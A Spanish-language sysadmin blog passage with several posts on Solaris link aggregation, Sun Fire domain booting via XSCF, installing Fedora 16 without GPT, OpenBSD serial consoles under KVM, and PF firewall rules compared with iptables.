Ahora mediante <i>dladm</i>, vamos a proceder a crear el Link Aggregation, al cual debemos pasarle el nombre de nuestras interfaces que formaran parte de esto:
<br />
<div class="highlight">
<pre>
# dladm create-aggr -d e1000g0 -d e1000g1 1
</pre>
</div>
Y volvemos a efectuamos el plumbing de nuestra interfaz <i>aggr1</i> que fue creada previamente con <i>dladm</i> y volvemos a verificar el estado de las mismas:
<br />
<div class="highlight">
<pre>
# ifconfig aggr1 plumb 172.16.1.215 up
# dladm show-aggr
key: 1 (0x0001) policy: L4 address: 0:3:ba:7:84:5e (auto)
device address speed duplex link state
e1000g0 0:3:ba:7:84:5e 1000 Mbps full up attached
e1000g0 0:3:ba:7:84:5e 0 Mbps unknown down standby
</pre>
</div>
Y si miramos con <i>ifconfig</i>, podemos ver:
<br />
<div class="highlight">
<pre>
# ifconfig -a
lo0: flags=2001000849 <UP,LOOPBACK,RUNNING,MULTICAST,IPv4,VIRTUAL> mtu 8232 index 1
inet 127.0.0.1 netmask ff000000
ce0: flags=1000843 <UP,BROADCAST,RUNNING,MULTICAST,IPv4> mtu 1500 index 2
inet 192.168.1.115 netmask ffffff00 broadcast 192.168.1.255
ether 0:3:ba:7:84:5e
aggr1: flags=1000843 <UP,BROADCAST,RUNNING,MULTICAST,IPv4> mtu 1500 index 3
inet 172.16.1.115 netmask ffffff00 broadcast 172.16.1.255
ether 0:3:ba:7:84:5e
</pre>
</div>
Perfecto, nuestro Link Aggregation fue creado, y se encuentra funcionando. Podemos probar esto desconectando la interfaz activa y viendo si hace de manera automática el switch a <i>e1000g1</i>
Ahora solo nos resta un paso mas: En nuestro equipo, e1000g0 tenía configurada la dirección IP 172.16.1.215, para seguir manteniendo la misma simplemente movemos el archivo <i>/etc/hostname.e1000g0</i> a <i>/etc/hostname.aggr1</i>.
<br />
<div class="highlight">
<pre>
# mv /etc/hostname.e1000g0 /etc/hostname.aggr1
</pre>
</div>
Y en caso de exister alguna configuración para <i>e1000g1</i> en <i>/etc/hostname.e1000g1</i> borramos dicho archivo.tty0http://www.blogger.com/profile/01071302674256069171noreply@blogger.com4tag:blogger.com,1999:blog-5189027816427515351.post-29790864852297517602012-04-11T02:30:00.001-03:002012-10-27T21:55:29.294-03:00SPARC: Domain administration and autoboot on Sun Fire M6800<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinFdkTNHoyRZAM3XtNlHOowUWOiVPomhB8EmNWBCEVurHA0luluZhCHVSrAdA3y-2jNnlBE6mNpd-wNYOOBEumv8NTcLWyRs6wRsv2sI8LnfeITfzG_ALaFZv7f0t69xw2bBlesJQVxAU/s1600/Sun.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="135" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinFdkTNHoyRZAM3XtNlHOowUWOiVPomhB8EmNWBCEVurHA0luluZhCHVSrAdA3y-2jNnlBE6mNpd-wNYOOBEumv8NTcLWyRs6wRsv2sI8LnfeITfzG_ALaFZv7f0t69xw2bBlesJQVxAU/s200/Sun.png" width="130" /></a>Hace unos días acudí a un cliente a levantar un <b>Sun Enterprise M6800</b> que se había caído (crease o no) debido a un fallo eléctrico. Si bien, el sistema operativo ni los filesystems estaban dañados, había un pequeño tip para que dicho servidor bootee de manera automática que quizás muchos de ustedes deben conocer.
<br />
<div style="text-align: justify;">
Pero me resulta interesante este post para contarles sobre la arquitectura que disponen estos equipos de la línea enterprise de Sun, y el uso de la XSCF shell, la cual actúa como Service Processor (SP).</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Como sabemos, un equipo informático es una colección de distintos recursos de hardware como CPU's, módulos DIMM's, dispositivos de I/O (NIC, discos, slots PCI-E y PCI-X, etc.). Y se suele agrupar en un único conjunto para actuar bajo algún fin preestablecido.</div>
<a name='more'></a><div style="text-align: justify;">
Cuando tratamos con equipos de líneas enterprise estos modelos suelen estar sujetos a algunas modificaciones, por ejemplo, podemos tomar una porción de este hardware para crear una instancia de un sistema operativo ejecutandose, y otra porción de dicho hardware para crear otro equipo.</div>
<div style="text-align: justify;">
Esto difiere de la virtualización ya que no existe un hypervisor que actúe como capa de abstracción para la comunicación directa por el hardware, sino que esto es logrado por el SP.</div>
<div style="text-align: justify;">
<br /></div>
Definimos el término <b>plataforma</b>, como el conjunto de todos los dispositivos de hardware que encontramos en el equipo. El término <b>partición</b> también conocido como segmento, hace referencia a un grupo de repeater boards que son usadas en conjunto para proveer comunicación entre CPU/Memoria, y módulos de I/O en el mismo dominio. Por su parte un <b>dominio</b> es una instancia independiente de un sistema operativo en ejecución y todo su entorno, al cual se le asigno de manera única un Domain ID (valor numérico entero), en el caso de estos equipos Solaris 10, que corre de manera independiente al resto, por lo cual si un dominio se ve dañado no afecta de ninguna manera a los otros dominios en ejecución.<br />
<br />
<br />
El <b>system controller</b>, es un sistema embebido en el centerplane de estos equipos, y nos va a permitir visualizar y configurar los dominios y algunos otros parámetros de entorno en estos equipos, tales como el encendido, apagado, entre otros. Este system controller es conocido tanto para el entry-point de M3000, mid-ranges como el M4000 y M5000 o high-end server como M8000 y M9000 como SP, y podemos acceder a una shell denominada <b>XSCF</b> (eXtended System Controller Facilities), utilizando cable serial, y un emulador de terminal (por ejemplo Minicom/Hyperterminal), ejecutándose a 9600 baudios, 8 bits de datos, sin paridad, 1 bit de stop y sin control de flujo (9600 8N1), o también mediante una interfaz web denominada por Sun como BUI (Browser User Interface), nosotros utilizaremos la primera.<br />
<div>
<br /></div>
<br />
Entonces, ya tenemos en claro el concepto de que el hardware puede ser dividido en distintas particiones, mediante la utilización repeater boards, y dentro de esas particiones podemos crear dominios asignando más o menos hardware a cada una de ellas. Pero no todo el hardware puede ser compartido, existe hardware de uso común por todos los dominios como es el caso de los fans, power supplies, entre otros.<br />
<br />
Para poder definir un dominio necesitamos cumplir con algunos requerimientos mínimos:<br />
<br />
<ul>
<li>Al menos una CPUM/CMU con memoria. </li>
<li>Al menos un módulo I/O.</li>
<li>Repeater Boards no asignadas a otros dominios.</li>
<li>Al menos un System Controller.</li>
<li>Media instalable (imagen DVD/CD, red mediante JumpStart).</li>
</ul>
<div>
<br /></div>
<div>
En un Sun Fire 3800/3810/4800/6800, podemos crear como máximo dos particiones, y dentro de cada una de estar particiones un máximo de dos dominios (Partición 1: A, B - Partición 2: C, D) en el caso del 6800 y dos (Partición 1: A, B) en el caso de 3800/3810/6800. </div>
<div>
Y estos pueden ser creados mediante las Repeter Boards (RP), en Single-Partition Mode (2 dominios), o Dual-Partition-Mode (4 dominios). </div>
<div>
<br /></div>
<div>
El termino <b>SB</b>, hace referencia a System Board, esto significa CPU y Memory boards que son conectadas al equipo. Por ejemplo SB0 hace referencia a la primer System Board, SB1 a la segunda y así sucesivamente hasta SB5. <b>IB</b> hace referencia módulos de I/O y se numeran de la misma forma que las System Boards, y el término <b>RP</b>, referencia a las Repeater Boards y también adoptan esta convención de enumeración. </div>
<div>
<br /></div>
<div>
<u>Veamos un 6800 ejecutándose en Single Partition Mode:</u></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxa5JnihyhCXHeJ37gaviY2tMDoOk3WqjOb10JJ5-rNDqsjwIzh4bd7EUyqobvXvT1eBMrDmqRU3jMJrwmQhujMIUSMizaJU-YHyVJc_1oJmBO-wZWJpgI_c8_KYdF8xqzCnaDnBIswzc/s1600/Single-Partition-MODE.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="333" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxa5JnihyhCXHeJ37gaviY2tMDoOk3WqjOb10JJ5-rNDqsjwIzh4bd7EUyqobvXvT1eBMrDmqRU3jMJrwmQhujMIUSMizaJU-YHyVJc_1oJmBO-wZWJpgI_c8_KYdF8xqzCnaDnBIswzc/s400/Single-Partition-MODE.gif" width="400" /></a></div>
<div>
<u><br />Veamos un 6800 ejecutándose en Dual Partition Mode:</u></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZsE6GELsq_l3xU1j8no04tJy-RcySzrCkQjTpKsrxy821al118RlFK5niYWvEJukYokvvGIy7g-3BGZuSjyZquFQbFmdvFAmv31xb-Zhrz2cTM64mG4dFgb9dtDlv2JlLGey78YVgWCc/s1600/Dual-Partition-MODE.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="337" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZsE6GELsq_l3xU1j8no04tJy-RcySzrCkQjTpKsrxy821al118RlFK5niYWvEJukYokvvGIy7g-3BGZuSjyZquFQbFmdvFAmv31xb-Zhrz2cTM64mG4dFgb9dtDlv2JlLGey78YVgWCc/s640/Dual-Partition-MODE.gif" width="640" /></a></div>
<div>
<br /></div>
<div>
Basta de teoría, vamos a la práctica. </div>
<div>
Existen básicamente dos métodos para conectarnos al SP, el primero, descartado en mi caso, mediante conexión de red, (el System Controller, viene con dos interfaces de red) pero como el equipo estaba caído esto era imposible, y la segunda mediante el clásico puerto serie, del que ya les conté en este post.</div>
<div>
Por lo cual, lo primero que hice fue establecer conexión utilizando el puerto serie, y Minicom.</div>
<div>
Lo primero es encender los grid, a fin de energizar el equipo y efectuar el POST en el mismo, para ello:</div>
<div>
<br /></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;">XSFC:> poweron grid0 grid1</span><br />
<br />
Luego de autenticarse y dentro de la XSCF shell, dentro del mismo, seteamos el keyswitch en on así iniciamos el dominio y podemos acceder al Open Boot PROM (OBP) del dominio A.</div>
<div>
<br /></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;">XSFC:> setkeyswitch on</span></div>
<div>
<span style="background-color: white;"><span style="font-family: 'Courier New', Courier, monospace;"><br /></span><span style="line-height: 8pt;">Podemos examinar el estado de los dominios corriendo en el equipo mediante el comando showplatform.</span></span><br />
<div class="highlight">
<pre>XSFC:> showplatform -p status
Domain Solaris Nodename Domain Status Keyswitch
-------- ------------------ ----------------------- -----------
A nodename-a Active - Solaris on
B - Powered Off off
C - Powered Off off
D - Powered Off off
XSFC:>
</pre>
</div>
<span style="background-color: white; line-height: 10px;"><span style="background-color: white; line-height: normal;">Excelente, nuestro dominio ya está corriendo. Ahora tenemos que acceder a la consola del mismo, para ello utilizamos el comando console. </span></span><span style="background-color: white;">Y dentro del mismo ingresamos a la consola TTY/OBP del dominio:</span><br />
<span style="background-color: white;"><br /><span style="font-family: 'Courier New', Courier, monospace;">XSFC:> console -d A</span></span><br />
<span style="font-family: 'Courier New', Courier, monospace;">Connect to Domain#00?[y|n] :y</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">{0} ok</span><br />
<br />
Y nos encontramos con el OBP, por lo cual el equipo no booteo, por lo cual, lo único que hay que ejecutar es el comando boot, si neceistamos bootear en single user, simplemente hacemos boot -s.<br />
<br />
<span style="font-family: 'Courier New', Courier, monospace;">{0} boot</span><br />
<span style="background-color: white;"><span style="font-family: 'Courier New', Courier, monospace;"><br /></span>En mi caso el equipo booteo a la primera y de manera correcta, en el Open Boot ROM, no esta configurado el autoboot, así que una vez esto, y desde el sistema operativo, podemos cambiar esto mediante el comando eeprom.</span><span style="background-color: white;"><br /><span style="font-family: 'Courier New', Courier, monospace;">#: eeprom autoboot?=true</span></span><br />
<span style="font-family: 'Courier New', Courier, monospace;">#: reboot</span><br />
<span style="background-color: white;"><br />El ? del paramétro que pasamos mediante eeprom referencia a un valor booleano, donde dos opciones son posibles, true y false. </span><span style="background-color: white;">Ahora a</span><span style="background-color: white;">l reiniciarse el equipo bootea sin intervención del usuario, ahora nos podemos desconectar y estar tranquilos de que ante un posible reboot, el equipo volverá a iniciar.</span><br />
<br />
<br /></div>
tty0http://www.blogger.com/profile/01071302674256069171noreply@blogger.com0tag:blogger.com,1999:blog-5189027816427515351.post-61089056112570970302012-04-11T00:53:00.000-03:002012-10-27T21:45:26.836-03:00Installing Fedora 16 in non GPT partition table.<br />
<div class="separator" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: center;">
<img border="0" height="96" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQ00tes7OdY7MunlhjkWejE1hj1D4gHEnTh8InnIrQcU-aPVOAyQLkiqxHLKvZXFzQi0qkCmTGZAkavGB-YPreex-wFXdWkI-BCVDSxL7aFeKRd8zSiMuKdpgFwo2vB6vAQoJoE6ymzqk/s200/Fedora.png" width="96" /></div>
<br />
En mi laptop del trabajo, por una cuestión de practicidad utilizo <a href="http://www.fedoraproject.org/" target="_blank">Fedora 16</a>, es una distro que me resulta bastante cómoda, debido a que diariamente suelo trabajar con Linux, especificamente con <a href="http://www.redhat.com/" target="_blank">RHEL</a> y <a href="http://www.centos.org/" target="_blank">CentOS</a>.<br />
<div>
Como muchos saben las nuevas features de RHEL, previamente se incorporan a Fedora para que la comunidad las pruebe primero, y fue así, como por ejemplo, comencé a familiarizarme con Systemd (el remplazo de LSB Scripts). </div>
<div>
<br /></div>
<div>
Una de las características que incorpora Fedora 16, y no Fedora 15, es que por default utiliza <b>GPT</b> (GUID Partition Table), en lugar de MBR (Master Boot Record) como se venía haciendo en las arquitecturas x86 y 86_64. GPT forma parte del estándar <b>EFI</b> (Extensible Fimreware Interface) y es propuesto por Intel para reemplazar PC BIOS. Entre las ventajas prácticas que incorpora GPT es que limita el tamaño máximo de la partición 9.4 zettabytes, mientras que este límite para MBR es de 2.4 terabytes y la cantidad de particiones definidas en en el disco. </div>
<div>
<a name='more'></a><br />
En el MBR se guarda la tabla de particiones y la primera etapa del gestor de arranque (GRUB o LILO), con GPT, la tabla de particiones se define en el header GPT, y utiliza LBA (Logical Block Address) en lugar de los ya clásicos Cilindros/Cabezas/Sectores que utiliza MBR para definir el comienzo y offset de una partición. Este header, se encuentra localizado específicamente en el LBA1, y luego es seguido por las definiciones de particiones existentes en el dispositivo de almacenamiento. También por redundancia este header se localiza al final de disco, habiendo dos copias del mismo en caso de alguna contingencia o error a la hora de definir o editar particiones en el disco. Dentro del LBA1 se localiza también el disk GUID (Global Unique Identifier) y la localización de la otra copia del GPT header, como así también un checksum CRC32 a fin de comprobar el correcto estado del mismo utilizando clásicas funciones de hash.<br />
<br />
En los siguientes LBA (2-34), se almacenan los siguientes tipos de particiones identificados mediante el GUID en formato hexadecimal, como por ejemplo sería: {C12A7328-F81F-11D2-BA4B-00A0C93EC93B}, dentro de esta cadena encontramos el tipo de partición, ID de dicha partición, el primer LBA donde comienza esta y su offset correspondiente, algunos flags, y el nombre de dicha partición. </div>
<div>
<br /></div>
<div>
Para poder funcionar GPT, necesita estar soportado por el hardware y BIOS, y mi laptop no tiene la posibilidad de bootear de EFI, al instalar Fedora 16, el boot loader no había sido instalado y por lógica el equipo no booteaba. Por suerte aunque poco documentado entonces existía un parámetro para pasarle al kernel con objetivo de anular que el equipo utilice GPT y vuelva a utilizar el clásico MBR. Para ello desde el menú de instalación, al momento de bootear el DVD/CD de Fedora 16 debemos setear el siguiente parámetro: <i><b>nogpt</b></i>. Con esto conseguiremos realizar de manera correcta la instalación utilizando las clásicas particiones fdisk.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzeAkC3OGFEL68bSOjcej6d4WdepD7XQCg6FLlVaNVmYLzeH_bD4QSYG0SNbtBt2uY_y9gh-3pt9GQDaG4EWZMfzmwZ7sgS6N3pvfVbSGwi-01jUPSQW9ioku8iSt-o4cnn2rjFzpICrE/s1600/GPT.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="324" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzeAkC3OGFEL68bSOjcej6d4WdepD7XQCg6FLlVaNVmYLzeH_bD4QSYG0SNbtBt2uY_y9gh-3pt9GQDaG4EWZMfzmwZ7sgS6N3pvfVbSGwi-01jUPSQW9ioku8iSt-o4cnn2rjFzpICrE/s640/GPT.jpg" width="640" /></a></div>
</div>
tty0http://www.blogger.com/profile/01071302674256069171noreply@blogger.com0tag:blogger.com,1999:blog-5189027816427515351.post-50362242596726038512012-01-01T20:38:00.000-03:002012-10-27T21:50:28.319-03:00OpenBSD: Enabling serial console for KVM/libvirt utilization<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipucaqrMtL3SD_nDTf6-gY_zUVZRJ226RJr3be6FX6-r5UBTCEo5FE1cHVoyNxdkDMWe75wua8AV30kJYhqAvtHY2fTWUr4jw3vyO433KyGb-di81vtz9Rkd0aAVaPPacZAj6ZyXZum7E/s1600/OpenBSD.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="120" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipucaqrMtL3SD_nDTf6-gY_zUVZRJ226RJr3be6FX6-r5UBTCEo5FE1cHVoyNxdkDMWe75wua8AV30kJYhqAvtHY2fTWUr4jw3vyO433KyGb-di81vtz9Rkd0aAVaPPacZAj6ZyXZum7E/s200/OpenBSD.jpg" width="103" /></a>Tengo un <a href="http://www.openbsd.org/" target="_blank">OpenBSD 5.0</a> con el que estoy realizando una serie de pruebas en una máquina virtual sobre <a href="http://www.linux-kvm.org/page/Main_Page" target="_blank">KVM</a> en <a href="http://www.centos.org/" target="_blank">CentOS 6</a>. KVM en conjunto con <a href="http://libvirt.org/" target="_blank">libvirt</a>, provee una serie de herramientas para administrar el host virtualizado, una de ella es virt-manager, una herramienta escrita utilizando GTK que obviamente necesita tener X ejecutándose. La otra es virsh, una CLI para administración de hosts virtuales.<br />
<br />
Virsh tiene la interesante opción de poder attachear una consola virtual, la cual previamente debe estar configurada en el sistema operativo guest. Esto es importante para poder realizar con la VM todo el trabajo que no podemos hacer de manera remota utilizando SSH y así tener que evitar abrir virt-manager cada vez que tengamos que agregar algún parámetro al booteo, por ejemplo.<br />
<br />
Cabe destacar que esta configuración no solo aplica a hosts virtuales, sino también a hosts físicos que tienen la posibilidad o se conectan mediante consola serie. Los pasos para realizar esto son bastante sencillos:<br />
<a name='more'></a><br />
<u>Vamos a dividir las consolas en dos partes:</u><br />
<ol>
<li>La utilizada durante el booteo.</li>
<li>La utilizada durante el login.</li>
</ol>
<div>
Para poder ver los mensajes del booteo en la consola serie, podemos hacer esto de dos formas, la primera añadiendo el paramétro al momento del booteo, en el boot prompt, esta configuración será dinámica y se perderá la próxima vez que haga un reboot del equipo, para ello bajo x86 o x86_64 añadimos el parámetro <b style="background-color: white;">set tty com0</b></div>
<blockquote class="tr_bq">
<span style="font-family: 'Courier New', Courier, monospace;"><span style="background-color: white;">boot> </span><span style="background-color: white;">set tty com0</span></span> </blockquote>
Siendo com0 nuestra consola serie. Si estamos bajo una arquitectura Sun/SPARC, y no hay un teclado conectado al equipo, se utilizará la consola serie por default. Caso contrario en el OK prompt añadimos:<br />
<blockquote class="tr_bq">
<span style="font-family: 'Courier New', Courier, monospace;">ok setenv input-device ttya<br />ok setenv output-device ttya<br />ok reset</span></blockquote>
Ahora bien, esta configuración es dinámica, y como dije anteriormente, se perderá durante el booteo, caso que necesitemos hacerla permanente, con el equipo una vez booteado editamos o creamos el archivo /etc/boot.conf con la siguiente línea dentro:<br />
<blockquote class="tr_bq">
<span style="font-family: 'Courier New', Courier, monospace;">set tty com0</span></blockquote>
Esto activará la consola serie al momento del booteo del equipo y todos los mensajes serán impresa utilizando el device com0. Pero para poder utilizar esto durante el login y la administración normal del sistema operativo tenemos que añadir una configuración adicional, editando el archivo /etc/ttys, reemplazamos la siguiente línea:<br />
<blockquote class="tr_bq">
<span style="font-family: 'Courier New', Courier, monospace;">tty00 "/usr/libexec/getty std.9600" unknown off</span></blockquote>
Por esta, que nos iniciara /usr/libexec/getty en el dispositivo char tty00:<br />
<blockquote class="tr_bq">
<span style="font-family: 'Courier New', Courier, monospace;">tty00 "/usr/libexec/getty std.9600" vt220 on secure </span></blockquote>
Ahora si, es importante tener un emulador de terminal como Minicom configurado en 9600 baudios 8 bits, sin paridad y 1 de Stop (9600 8N1). Ahora si hacemos un virsh console "OpenBSD-5.0-test", obtendremos la siguiente salida:<br />
<br />
<span style="font-family: 'Courier New', Courier, monospace;">virsh # console OpenBSD-5.0-test</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">Connected to domain OpenBSD-5.0-test</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">Escape character is ^]</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">>> OpenBSD/i386 BOOT 3.17</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">boot> </span><br />
<span style="font-family: 'Courier New', Courier, monospace;">booting hd0a:/bsd: 8192892+1088776 [61+367888+353319]=0x98a398</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">entry point at 0x200120</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">Copyright (c) 1995-2011 OpenBSD. All rights reserved. http://www.OpenBSD.org</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">OpenBSD 5.0 (GENERIC) #43: Wed Aug 17 10:10:52 MDT 2011</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> deraadt@i386.openbsd.org:/usr/src/sys/arch/i386/compile/GENERIC</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><br />---- Output ommited ----</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><br />starting network daemons: sshd sendmail inetd.</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">starting local daemons: cron.</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">Sun Jan 1 20:33:02 ART 2012</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">OpenBSD/i386 (fwl-dmz.foobar.net) (tty00)</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">login: root</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">Password:</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">OpenBSD 5.0 (GENERIC) #43: Wed Aug 17 10:10:52 MDT 2011</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">Welcome to OpenBSD: The proactively secure Unix-like operating system.</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">You have mail.</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">fwl-dmz ~:# </span>tty0http://www.blogger.com/profile/01071302674256069171noreply@blogger.com0tag:blogger.com,1999:blog-5189027816427515351.post-47870963467731091532011-12-31T05:36:00.000-03:002012-10-27T21:51:18.157-03:00PF: OS based redirection<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipucaqrMtL3SD_nDTf6-gY_zUVZRJ226RJr3be6FX6-r5UBTCEo5FE1cHVoyNxdkDMWe75wua8AV30kJYhqAvtHY2fTWUr4jw3vyO433KyGb-di81vtz9Rkd0aAVaPPacZAj6ZyXZum7E/s1600/OpenBSD.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="120" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipucaqrMtL3SD_nDTf6-gY_zUVZRJ226RJr3be6FX6-r5UBTCEo5FE1cHVoyNxdkDMWe75wua8AV30kJYhqAvtHY2fTWUr4jw3vyO433KyGb-di81vtz9Rkd0aAVaPPacZAj6ZyXZum7E/s200/OpenBSD.jpg" width="103" /></a>Supongamos que tenemos en nuestra red dos servidores web, a uno solo pueden entrar los clientes que corran Windows, a los otros los que usan GNU/Linux. ¿Es posible hacer esto de alguna manera sencilla?, la respuesta es si!. Utilizando PF, OS Fingerprints y una regla de redirección.<br />
<br />
<b>OS Fingerprints</b> es un mecanismo que tiene PF para determinar el sistema operativo que esta utilizando un host en concreto que pasa por el firewall, lo hace mediante la examinación de algunos campos del header del paquete, como por ejemplo el TTL, y acorde a lo establecido en el archivo <i>/etc/pf.os</i> determina el sistema operativo al que corresponde el paquete.<br />
<br />
<a name='more'></a>
Supongamos que el servidor web para Windows corre un IIS en el host 10.0.0.10, puerto 8080/TCP y el servidor Linux 2.6 un Apache en 10.0.0.20, puerto 8081/TCP.<br />
Simplemente deberiamos utilizar estas reglas:<br />
<div class="highlight" ><pre>$ext_if = "em0"
$webwin="10.0.0.10"
$weblinux="10.0.0.20"
pass in on $ext_if proto tcp from any os "Windows" to any port 80 modulate state \
flags S/SA rdr-to $webwin port 8081
pass in on $ext_if proto tcp from any os "Linux 2.6" to any port 80 modulate state \
flags S/SA rdr-to $weblinux port 8081
</pre></div>
Esto se consigue mediante la clave OS, a la que debe indicarsele el sistema operativo a evaluar el fingerprint, y rdr-to que nos permite realizar una redirección a un host determinado acompañado de su número de puerto.tty0http://www.blogger.com/profile/01071302674256069171noreply@blogger.com0tag:blogger.com,1999:blog-5189027816427515351.post-76019862511131585732011-12-31T04:53:00.000-03:002012-10-27T21:05:53.027-03:00Unix: Stateful firewalls vs. Non-Stateful firewallsHace unos días tuve una interesante discusión en <a href="http://twitter.com/_tty0" target="_blank">Twitter</a> sobre las ventajas de utilizar como firewall <b><a href="http://www.openbsd.org/faq/pf/" target="_blank">Packet Filter</a></b> contra <b><a href="http://www.netfilter.org/" target="_blank">Netfilter</a> </b>(IPTables). Cabe destacar que tengo mas conocimientos de PF que de IPTables, por lo cual conozco más las ventajas prácticas del primero que del último.<br />
<br />
En teoría de firewalls, encontramos los denominados <b>stateful firewalls</b>, son firewalls que actúan en <b>layer 3</b> del modelo OSI/ISO (network) donde su punto fuerte es el poder de inspeccionar estados, y saber si los mismos corresponden a una conexión ya existente o no. Esto es posible lograrlo en Linux mediante connectrion tracking utilizando los módulos <b>conntrack</b>, y así mantener un record de los estados existentes en el sistema operativo.<br />
<br />
Tanto Packet Filter como IP Filter utilizan una estructura denominada<b> tabla de estados</b> (o status table), para mantener dicha información. Si un paquete IP ingresa al firewall, se va a buscar mediante una previa inspección del header si el mismo forma parte de una conexión ya existente, y si esto es cierto no se van a inspeccionar reglas de filtrado, sino que el paquete va a pasar directamente. Si un paquete llega por primera vez al firewall, el mismo si matchea con alguna regla, entonces va a crear una entrada en la tabla de estados del firewall, y ya, mientras la conexión siga viva no va a pasar por dicha inspección de reglas.<br />
<br />
<a name='more'></a>
Por su parte IPTables, trabaja distinto. Cada vez que un paquete llega (sea nuevo o no), va a pasar por las reglas de filtrado, si matchea con alguna regla se aplicará esta, en caso contrario se aplica la policy por default previamente definida. Pero como dije anteriormente, mediante la utilización de los módulos conntrack es posible logar esto. Como se muestra a continuación:<br />
<blockquote class="tr_bq">
<span style="font-family: 'Courier New', Courier, monospace;">-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT</span></blockquote>
En esta regla de filtrado todos los paquetes que ingresen al firewall con estado ESTABLISHED y RELATED van a ser aceptados, los cuales forman parte de una conexión ya existente posiblemente inicializada por un equipo de la red interna y de esta manera, por ejemplo es capaz mantener conexiones mediante NAT.<br />
<br />
Esto puede ser realizado con una sintaxis más clara utilizando PF, y con la posibilidad de usar macros ;-)<br />
<blockquote class="tr_bq">
<span style="font-family: 'Courier New', Courier, monospace;">wan_if='10.0.0.1'</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">lan_net='192.168.1.0/24'</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">pass in on $wan_if from any to $lan_net flags S/SA keep state</span></blockquote>
O mediante IP Filter:<br />
<blockquote class="tr_bq">
<span style="font-family: 'Courier New', Courier, monospace;">pass in on em0 from any to 192.168.1.0/24 flags S/SA keep state</span></blockquote>
A modo resumen de lo visto hasta ahora podemos decir que todo firewall basado en estados se compone de dos elementos, ellos son: El conjunto de reglas de filtrado y la tabla de estados.<br />
<br />
Esta tabla de estados en PF es una estructura en formato de árbol binario balanceado denominado AVL. Como sabemos la utilización de un árbol binario tiene un coste computacional un poco superior al de utilizar arboles hash, la decisión de utilizar un árbol binario en PF se basa en que fue concebido como parte del proyecto <a href="http://www.openbsd.org/" target="_blank">OpenBSD</a> donde la principal preocupación al momento del diseño es la seguridad. Los hashes pueden provocar colisiones, esto es, dada distintas entradas obtener una misma salida, conociendo que a mayor cantidad de entradas en la tabla de estados, existe mayor posibilidad de colisiones, se opto por elegir un árbol binario como método de almacenar dichos estados.<br />
Algoritmos de hashing como SHA1/SHA2 han demostrado tener casi nulas colisiones, pero el costo computacional de procesar búsquedas mediante estos algoritmos es bastante mas alto que el de utilizar algoritmos mas sencillos como MD4/MD5 que son fácilmente colisionables. Por lo cual, en la teoría, un atacante podría generar paquetes maliciosos para provocar colisiones en la tabla de estados y de esta manera realizar un ataque del tipo spoofing contra la red interna o DMZ y ganar acceso a equipos de acceso restringido.<br />
<br />
Sabemos que el estado es una parte importante de los paquetes TCP, por cada paquete que matchee van a ser verificados varios campos por parte del firewall, esto es ISN (Initial Sequence Number), el origen (SRC), el destino (DST), puerto de origen (SRC PORT), y puerto de destino (DST PORT). PF computa el ISN añadiendo un valor aleatorio y de esta manera evitar ataques donde se altera el ISN y de esta manera evitar los ya conocidos SYN Flood que pueden provocar DoS/DDoS. IPTables no es capaz de realizar esta acción, aunque el costo computacional de no realizarlo es mucho menor del utilizado por PF.<br />
<br />
Por su parte UDP, es conocido que es un protocolo sin estado por naturaleza, PF, también tiene la capacidad de manejar estados en conexiones UDP, ¿como lo consigue?. Las conexiones solo conocen dos pseudo estados, START y STOP, PF añade a esto un tiempo de expiración (acorde al nivel optimización seteado en el firewall), por lo cual mientras no haya expirado la conexión el paquete no va a tener que pasar por las reglas de filtrado, sino que simplemente se va a realizar una búsqueda en la tabla de estados.<br />
